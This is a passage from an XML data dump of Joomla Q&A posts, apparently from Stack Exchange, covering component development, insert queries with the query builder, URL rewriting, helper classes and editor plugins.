example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://www.example.com/index.php?option=com_virtuemart&amp;amp;view=category&amp;amp;id=3&amp;amp;cmjspkjson_opt=10&amp;amp;reqobj[]=category.children&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will only return the required part instead of the full json output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To save the number of requests, you may have more than one reqobj parameter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I provide technical assistance to CodingMall.com.&lt;/p&gt;&#xA;" OwnerUserId="13981" LastEditorUserId="13981" LastEditDate="2019-12-16T11:17:15.873" LastActivityDate="2019-12-16T11:17:15.873" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26542" PostTypeId="2" ParentId="26538" CreationDate="2019-12-14T23:00:43.867" Score="1" Body="&lt;p&gt;If you want to send requests to a remote site, use HTTP API. Basic example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Http\HttpFactory;&#xA;&#xA;$http     = HttpFactory::getHttp();&#xA;$response = $http-&amp;gt;post($url, $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;$url&lt;/code&gt; is the script's URL and &lt;code&gt;$data&lt;/code&gt; is an associative array containing the data.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-12-14T23:00:43.867" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26543" PostTypeId="2" ParentId="26504" CreationDate="2019-12-16T01:23:41.470" Score="2" Body="&lt;p&gt;Thanks to @Zollie-- the plugin is enabled by default and does seem to work. You'd need to check the &lt;code&gt;libraries/autoload_psr4.php&lt;/code&gt; to verify that your component's namespace (set in the new &lt;code&gt;namespace&lt;/code&gt; parameter in the manifest xml) is being generated correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default namespace format for custom components is &lt;code&gt;DeveloperName\Component\ComponentName&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2019-12-16T01:23:41.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26544" PostTypeId="1" CreationDate="2019-12-16T06:38:51.933" Score="0" ViewCount="71" Body="&lt;p&gt;I have a joomla form which contains an editor field in it. When I toogle the  editor and paste a html code and save it why does the two p tags appear&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;template&quot; type=&quot;editor&quot; label=&quot;TEMPLATE&quot; description=&quot;DESC_ALERT_TEMPLATE&quot; required=&quot;true&quot; cols=&quot;150&quot; rows=&quot;20&quot; filter=&quot;raw&quot; width=&quot;95%&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt; &amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt; &amp;lt;/p&amp;gt;&#xA;&amp;lt;table class=&quot;table table-condensed table-striped table-bordered&quot; style=&quot;height: 344px;&quot; width=&quot;891&quot;&amp;gt;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to remove the two p tags while saving the form and when I open the form again and save it, it wraps two more p tags before&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt; &amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt; &amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt; &amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt; &amp;lt;/p&amp;gt;&#xA;&amp;lt;table class=&quot;table table-condensed table-striped table-bordered&quot; style=&quot;height: 344px;&quot; width=&quot;891&quot;&amp;gt;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13983" LastActivityDate="2019-12-16T06:38:51.933" Title="Joomla editor field wraps two &lt;p&gt; tags when saved" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26546" PostTypeId="1" AcceptedAnswerId="26548" CreationDate="2019-12-17T05:18:41.223" Score="1" ViewCount="60" Body="&lt;p&gt;Needing a little help to point me to the issue. I am building a component and need to insert a row into the Joomla DB. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This line works, but I have to create the table name myself and I'd rather use the built-in Joomla functions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config = JFactory::getConfig();&#xA;$dbprefix = $config-&amp;gt;get('dbprefix');&#xA;$db_arr = array($dbprefix,'conquest_ctg_players');&#xA;$table_name = implode(&quot;&quot;,$db_arr);  &#xA;&#xA;$sql = &quot;INSERT INTO $table_name (id, ordering, state, checked_out, checked_out_time, created_by, modified_by, player_name, player_uuid, player_bann, player_level, player_xp, player_gold, resource_food, resource_supplys, resource_population, quest_energy, troops_basic, troops_advanced, jid)&#xA;          VALUES ('null', 1, '1', '0', '0000-00-00 00:00:00', '$userId', '$userId','$nUser', '$myuuid', '0', '1', '0', '50', '50', '50', '100', '100', '100', '0', '$userId')&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this one errors out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql&#xA;-&amp;gt;insert($db-&amp;gt;quoteName('#__conquest_ctg_players'))&#xA;-&amp;gt;columns($db-&amp;gt;quoteName('id', 'ordering', 'state', 'checked_out', 'checked_out_time', 'created_by', 'modified_by', 'player_name', 'player_uuid', 'player_bann', 'player_level', 'player_xp', 'player_gold', 'resource_food', 'resource_supplys', 'resource_population', 'quest_energy', 'troops_basic', 'troops_advanced', 'jid'))&#xA;-&amp;gt;values(null, 1, 1, 0, $db-&amp;gt;quote('0000-00-00 00:00:00'), $userId, $userId,$nUser, $myuuid,0, 1, 0, 50, 50, 50, 100, 100, 100, 0, $userId);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'AS &lt;code&gt;ordering&lt;/code&gt;) VALUES ()' at line 2&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This one will create a new table entry but does not have any values.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql&#xA;-&amp;gt;insert($db-&amp;gt;quoteName('#__conquest_ctg_players'))&#xA;-&amp;gt;columns(id, ordering, state, checked_out, checked_out_time, created_by, modified_by, player_name, player_uuid, player_bann, player_level, player_xp, player_gold, resource_food, resource_supplys, resource_population, quest_energy, troops_basic, troops_advanced, jid)&#xA;-&amp;gt;values('null', '1', '1', '0', '0000-00-00 00:00:00', '$userId', '$userId','$nUser', '$myuuid', '0', '1', '0', '50', '50', '50', '100', '100', '100', '0', '$userId');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If anyone can tell me why they think it is adding a row, but not inputting info, I would be eternally grateful.&lt;/p&gt;&#xA;" OwnerUserId="13982" LastEditorUserId="12352" LastEditDate="2019-12-26T00:34:47.500" LastActivityDate="2019-12-26T00:34:47.500" Title="Joomla 3.x insert query attempts don't work as desired" Tags="|joomla-3.x|sql|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26547" PostTypeId="2" ParentId="26546" CreationDate="2019-12-17T06:11:33.400" Score="0" Body="&lt;p&gt;Sorry to waste time but i figured it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way worked&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$columns = array('id', 'ordering', 'state', 'checked_out', 'checked_out_time', 'created_by', 'modified_by', 'player_name', 'player_uuid', 'player_bann', 'player_level', 'player_xp', 'player_gold', 'resource_food', 'resource_supplys', 'resource_population', 'quest_energy', 'troops_basic', 'troops_advanced', 'jid');&#xA;$values = array(0, 1, 1, 0, $db-&amp;gt;quote('0000-00-00 00:00:00'), $userId, $userId,$db-&amp;gt;quote($nUser), $db-&amp;gt;quote($myuuid), 0, 1, 0, 50, 50, 50, 100, 100, 100, 0, $userId);&#xA;$sql&#xA;-&amp;gt;insert($db-&amp;gt;quoteName('#__conquest_ctg_players'))&#xA;-&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;-&amp;gt;values(implode(',', $values));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13982" LastActivityDate="2019-12-17T06:11:33.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26548" PostTypeId="2" ParentId="26546" CreationDate="2019-12-17T09:08:56.303" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;#_&lt;/code&gt; will spare you having to use a literal prefix value.  I recommend that you use this consistently throughout your project.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your first attempt to use Joomla's query building syntax broke because &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JDatabaseQuery.html#method_quoteName&quot; rel=&quot;nofollow noreferrer&quot;&gt;$db-&gt;quoteName()&lt;/a&gt; accepts a maximum of two parameters.  You have provided ...many.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;quoteName('id', 'ordering', 'state', ...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using an array as the first/only parameter would have saved you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;quoteName(['id', 'ordering', 'state', ...])&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When inserting a new row that will generate a new auto-incremented value and you are naming columns, you may simply omit that column and its &lt;code&gt;null&lt;/code&gt; value.  Alternatively, if you are filling EVERY column with a value, then you can omit the column names entirely.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As for the column and value methods:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JDatabaseQuery.html#method_columns&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;columns()&lt;/code&gt; expects a column or an array of columns.&lt;/a&gt;&lt;br&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JDatabaseQuery.html#method_values&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;values()&lt;/code&gt; expects a string&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;See &lt;a href=&quot;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase#Using_an_Object&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Inserting,_Updating_and_Removing_data_using_JDatabase#Using_an_Object&lt;/a&gt; for an example of object syntax.  You may find it easier to manage.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-12-17T09:08:56.303" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26549" PostTypeId="2" ParentId="16788" CreationDate="2019-12-17T09:56:11.210" Score="0" Body="&lt;p&gt;add %s to the written by like this: written by %s&lt;/p&gt;&#xA;" OwnerUserId="13986" LastActivityDate="2019-12-17T09:56:11.210" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26550" PostTypeId="2" ParentId="26515" CreationDate="2019-12-17T14:23:18.587" Score="0" Body="&lt;p&gt;Figured it out finally. So the developer created a custom template deep within the Theme used for the site. I was expecting a custom component since it was using the GURU LMS but apparently that was not the case. &lt;/p&gt;&#xA;" OwnerUserId="13972" LastActivityDate="2019-12-17T14:23:18.587" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26551" PostTypeId="2" ParentId="26528" CreationDate="2019-12-17T23:51:14.060" Score="1" Body="&lt;p&gt;If I'm understanding you right, I think you want to have in your form definition xml file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;fields-1&quot; label=&quot;label-1&quot; description=&quot;desc 1&quot;&amp;gt; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your layout file do &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fieldset = $this-&amp;gt;form-&amp;gt;getFieldsets();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then you can do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $fieldset['fields-1']-&amp;gt;label;    // outputs &quot;label-1&quot;&#xA;echo $fieldset['fields-1']-&amp;gt;description; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have I understood you right?&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2019-12-17T23:51:14.060" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26552" PostTypeId="1" AcceptedAnswerId="26553" CreationDate="2019-12-18T03:40:37.020" Score="0" ViewCount="91" Body="&lt;p&gt;I encounter some issues about the url that won't rewrite in frontend (only) of Joomla but I can't find where is the exact issue.&lt;/p&gt;&#xA;&lt;p&gt;This is the situation:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I installed a quickstart package in a folder named &amp;quot;en&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;I use htaccess codes to rewrite the url from test123.com/en to test123.com&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;RewriteEngine On&lt;/p&gt;&#xA;&lt;p&gt;RewriteCond %{HTTP_HOST} ^test123.com$ [NC,OR]&lt;/p&gt;&#xA;&lt;p&gt;RewriteCond %{HTTP_HOST} ^www.test123.com$&lt;/p&gt;&#xA;&lt;p&gt;RewriteCond %{REQUEST_URI} !en/&lt;/p&gt;&#xA;&lt;p&gt;RewriteRule (.*) en/$1 [L]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Both Search Engine Friendly URLs &amp;amp; Use URL Rewriting are enabled in Joomla backend and I can see backend url has changed to test123.com (without en) - working for the backend.&lt;/li&gt;&#xA;&lt;li&gt;However, the frontend will still show the folder name in URL test123.com/en&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;We tried:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Update Joomla to the latest version (won't fix)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;RewriteBase /en/ (won't fix)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;RewriteBase / (won't fix)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This issue is affecting many of our components won't work properly untill we turn both settings off as it will return &amp;quot;file not found&amp;quot; at times or 404 error or won't redirect properly.&lt;/p&gt;&#xA;&lt;p&gt;Please advise what could be the issue and any solution to fix it?&lt;/p&gt;&#xA;&lt;p&gt;May I know which files are related to generate the front page?&lt;/p&gt;&#xA;&lt;p&gt;In this case, how do we create a fresh Joomla core with all the data, templates, components, plugins, modules and settings stay the same?&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13818" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2019-12-18T11:17:31.527" Title="Unable to rewrite url for frontend" Tags="|.htaccess-configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26553" PostTypeId="2" ParentId="26552" CreationDate="2019-12-18T10:53:52.923" Score="0" Body="&lt;p&gt;If you edit the configuration.php file in your Joomla root and insert the full URL in the livesite= variable it should work as you expect it to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;livesite=&quot;http://www.test123.com'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can't edit the value through the Configuration Settings in Joomla, you have to do it via your control panel editor or whatever you have available to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .htaccess file, or the part that matters, that I use for my sites is;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Internally Rewrite requests for Test123 to hide the subdirectory in the URL&#xA;    RewriteCond %{HTTP_HOST} ^www\.test123\.com\.au$&#xA;    RewriteCond $1 !^excluded_dir&#xA;    RewriteRule (.*) /en/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2019-12-18T11:17:31.527" LastActivityDate="2019-12-18T11:17:31.527" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26555" PostTypeId="1" CreationDate="2019-12-18T23:08:11.160" Score="1" ViewCount="119" Body="&lt;p&gt;The Joomla\CMS\MVC\Controller\FormController::getModel method has a default argument for the config argument that sets the &lt;code&gt;ignore_request&lt;/code&gt; parameter to true. This in turn means that models will not call the &lt;code&gt;populateState&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is the &lt;code&gt;FormController&lt;/code&gt;, the only controller to prevent &lt;code&gt;populateState&lt;/code&gt; being called? What is the reason that you wouldn't want &lt;code&gt;populateState&lt;/code&gt; to be called when working with a submitted form?&lt;/p&gt;&#xA;" OwnerUserId="9281" LastActivityDate="2023-09-01T03:07:00.857" Title="Why does the FormController instantiate models with the ignore_request flag set to true?" Tags="|jform|controller|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26556" PostTypeId="1" AcceptedAnswerId="26558" CreationDate="2019-12-19T09:46:21.687" Score="0" ViewCount="166" Body="&lt;p&gt;Hello I have two token functions that I use in my bridge from Second Life(LSL Script) to joomla it creates a the Token for the info coming from and to SL on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way i can make these function global.So that i can call it from any of the pages in my Component rather then put them in every page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//This is the Token decode function&#xA;function security_array_decode($myuuid, $token_salt)&#xA;{&#xA; $s_array = array(); &#xA; $i = 0;&#xA;  do {&#xA;     $untime = time() - $i;&#xA;     $arr = array($myuuid, $untime, $token_salt);&#xA;     $token_key = sha1(join(&quot;&quot;,$arr));&#xA;     $s_array[] = $token_key;&#xA;     $s_array[] = $untime;&#xA;     ++$i;&#xA;   } while ($i &amp;lt;= 5);&#xA;  return $s_array;&#xA; }&#xA;&#xA;&#xA;//This is the Token encode function&#xA;function security_array_encode($myuuid, $token_salt)&#xA;{&#xA;     $untime = time();&#xA;     $arr2 = array($myuuid, $untime, $token_salt);&#xA;     $token_key = sha1(join(&quot;&quot;,$arr2));&#xA;  return $token_key;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13982" LastActivityDate="2019-12-19T13:51:07.973" Title="How to Add a global Function to a Component" Tags="|joomla-3.x|security-token|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26557" PostTypeId="2" ParentId="26556" CreationDate="2019-12-19T13:50:05.690" Score="1" Body="&lt;p&gt;You could put both functions in a class in the helper.php file of your component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Include the helper file in the entry point of your component ( in /components/com_yourcomponentname/yourcomponentname.php)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then you could use the methods in all parts of your component.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2019-12-19T13:50:05.690" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26558" PostTypeId="2" ParentId="26556" CreationDate="2019-12-19T13:51:07.973" Score="1" Body="&lt;p&gt;I would suggest you create a file in the helper folder of your component with a class containing your code shown above in a couple of methods and then each time your component needs to use the code you can do so with a simple call to the desired method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Helper files tend to be for code that doesn't really fit into Model, View or Controller folders and potentially could be called from more than one place so your requirement I think fits the bill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to load the helper file(s) first before you can call it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example most of the core components have helper files and reading through them you can see how they are used and called. A quick search in JSE shows up several questions and answers on loading and calling Helpers and google has plenty to read also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A look in &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/administrator/components/com_weblinks/helpers/weblinks.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;shows a number of methods to create sub menus &amp;amp; count items. And then in &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/administrator/components/com_weblinks/view/weblinks/view.html.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;on line 43 you can see this code that calls the addSubmenu method in the helper file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    WeblinksHelper::addSubmenu('weblinks');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-12-19T13:51:07.973" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26562" PostTypeId="1" CreationDate="2019-12-20T12:02:10.053" Score="1" ViewCount="153" Body="&lt;p&gt;Joomla 3.9.14&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I open a contact to edit their details and look in the browser console I can see the following notice;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[DOM] Found 2 elements with non-unique id #jform_id:  &#xA;(More info: https://goo.gl/9p2vKq) &amp;lt;input type=​&quot;hidden&quot; name=​&quot;jform[id]​&quot;&#xA;id=​&quot;jform_id&quot; value=​&quot;115&quot; class=​&quot;readonly&quot;&amp;gt;​ &amp;lt;input type=​&quot;hidden&quot;&#xA;name=​&quot;jform[id]​&quot; id=​&quot;jform_id&quot; value=​&quot;115&quot; class=​&quot;readonly&quot;&amp;gt;​&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aj57Y.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aj57Y.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't made any changes to core files or created overrides. The only thing I have done is create custom fields for my contacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does this mean exactly and should I be concerned? &lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2024-01-06T00:09:31.070" Title="Contact Form Non Unique id #jform_id" Tags="|joomla-3.x|form|com-contacts|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26563" PostTypeId="1" CreationDate="2019-12-20T17:52:40.783" Score="1" ViewCount="135" Body="&lt;p&gt;I am trying to add a dropdown menu in JCE editor.  The dropdown will contain a list of items fetched from database. Please find the below code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function () {&#xA;    tinymce.create('tinymce.plugins.CustomHTML', {&#xA;        init: function (ed, url) {&#xA;            var menuItems = [];&#xA;            var myListItems = ['Item1', 'Item2', 'Item3', 'Item4', 'Item5', 'Item6', 'Item7',&#xA;            'Item8', 'Item9', 'Item10', 'Item11'];&#xA;&#xA;            tinymce.each(myListItems, function (myListItemName) {&#xA;                menuItems.push({&#xA;                    text: myListItemName,&#xA;                    onclick: function () {&#xA;                        ed.insertContent(myListItemName);&#xA;                    }&#xA;                });&#xA;            });&#xA;            ed.addButton('custom', {&#xA;                type: 'menubutton',&#xA;                text: 'Custom',&#xA;                icon: 'code',&#xA;                menu: menuItems&#xA;            });&#xA;           //this should add menu items but in Joomla, ed.addMenuitem is giving error&#xA;            ed.addMenuItem('mypluginnameDropDownMenu', {&#xA;                icon: 'code',&#xA;                text: 'Ruchika Plugin Name',&#xA;                menu: menuItems,&#xA;                context: 'insert',&#xA;                prependToContext: true&#xA;            });&#xA;        }&#xA;    });&#xA;    tinymce.PluginManager.add('custom', tinymce.plugins.CustomHTML);&#xA;})();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking for guidance in what am I missing here? And how to get the dropdown list dynamically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to create a button in the toolbar. Created both jce and normal joomla editor plugin but stuck at the same place to create a dropdown list in the editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Referred: &lt;a href=&quot;https://stackoverflow.com/questions/16561802/adding-custom-drop-down-list-in-tinymce&quot;&gt;https://stackoverflow.com/questions/16561802/adding-custom-drop-down-list-in-tinymce&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7632" LastEditorUserId="7632" LastEditDate="2019-12-20T18:55:18.127" LastActivityDate="2019-12-20T18:55:18.127" Title="JCE plugin to add custom toolbar dropdown list" Tags="|joomla-3.x|plugin|editor|jce|tinymce|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26564" PostTypeId="2" ParentId="26555" CreationDate="2019-12-20T18:41:19.580" Score="1" Body="&lt;p&gt;I don't know for sure, but I've thought of a reason why it makes sense, so here goes …&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla components use &lt;code&gt;FormController&lt;/code&gt; to handle whenever the (usually admin) user is editing an item and then presses eg &lt;code&gt;Save&lt;/code&gt; to save the changes. This results in an HTTP POST to the server with the &lt;code&gt;task&lt;/code&gt; parameter set, and control gets routed to the appropriate controller php file in the component &lt;code&gt;controllers&lt;/code&gt; directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The controller needs to get the form loaded in order to validate the POST data, and this involves going to the component &lt;code&gt;model&lt;/code&gt; and using it to load the form. During this process the model's &lt;code&gt;getState&lt;/code&gt; can be called, and hence &lt;code&gt;populateState&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, because Joomla uses the Post/Redirect/Get pattern, this HTTP POST is going to end up with an HTTP redirect. The method &lt;code&gt;populateState&lt;/code&gt; on the other hand sets up variables which are later used in preparation for outputting data in an HTTP response, and also can involve database queries, eg to get config params. So it's actually doing a lot of work, sometimes involving database queries, for no good reason, as the HTTP response in this case will be a redirect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the Joomla team were doing some performance analysis and noticed that there were database queries which were superfluous, tracked them down to &lt;code&gt;populateState&lt;/code&gt; and then came up with this &lt;code&gt;ignore_request&lt;/code&gt; flag as a generic solution that didn't involve changing each component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have I convinced you ;-) ?&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2019-12-20T18:41:19.580" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26565" PostTypeId="2" ParentId="26424" CreationDate="2019-12-20T20:34:06.863" Score="0" Body="&lt;p&gt;That make me crazy and took long time to solve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add &lt;code&gt;rtrim($item-&amp;gt;link,&quot;items&quot;)&lt;/code&gt; before &lt;code&gt;class=&quot;pathway&quot;&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Detail is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo '&amp;lt;a href=&quot;' . rtrim($item-&amp;gt;link,&quot;items&quot;) . '&quot; class=&quot;pathway&quot;&amp;gt;' . $item-&amp;gt;name . '&amp;lt;/a&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13994" LastEditorUserId="12352" LastEditDate="2019-12-20T22:26:42.977" LastActivityDate="2019-12-20T22:26:42.977" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26566" PostTypeId="2" ParentId="10535" CreationDate="2019-12-22T14:02:48.067" Score="1" Body="&lt;p&gt;It didn't work for me either until I realised that on the Configuration page of Community Builder, the first option entitled &quot;Allow User Registration&quot; should be set on &quot;Yes, Independent of CMS 'Allow Registration'&quot;.  This, unless you are wanting the Content Management System (in my case Joomla) to do all the registration.&lt;/p&gt;&#xA;" OwnerUserId="13996" LastActivityDate="2019-12-22T14:02:48.067" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
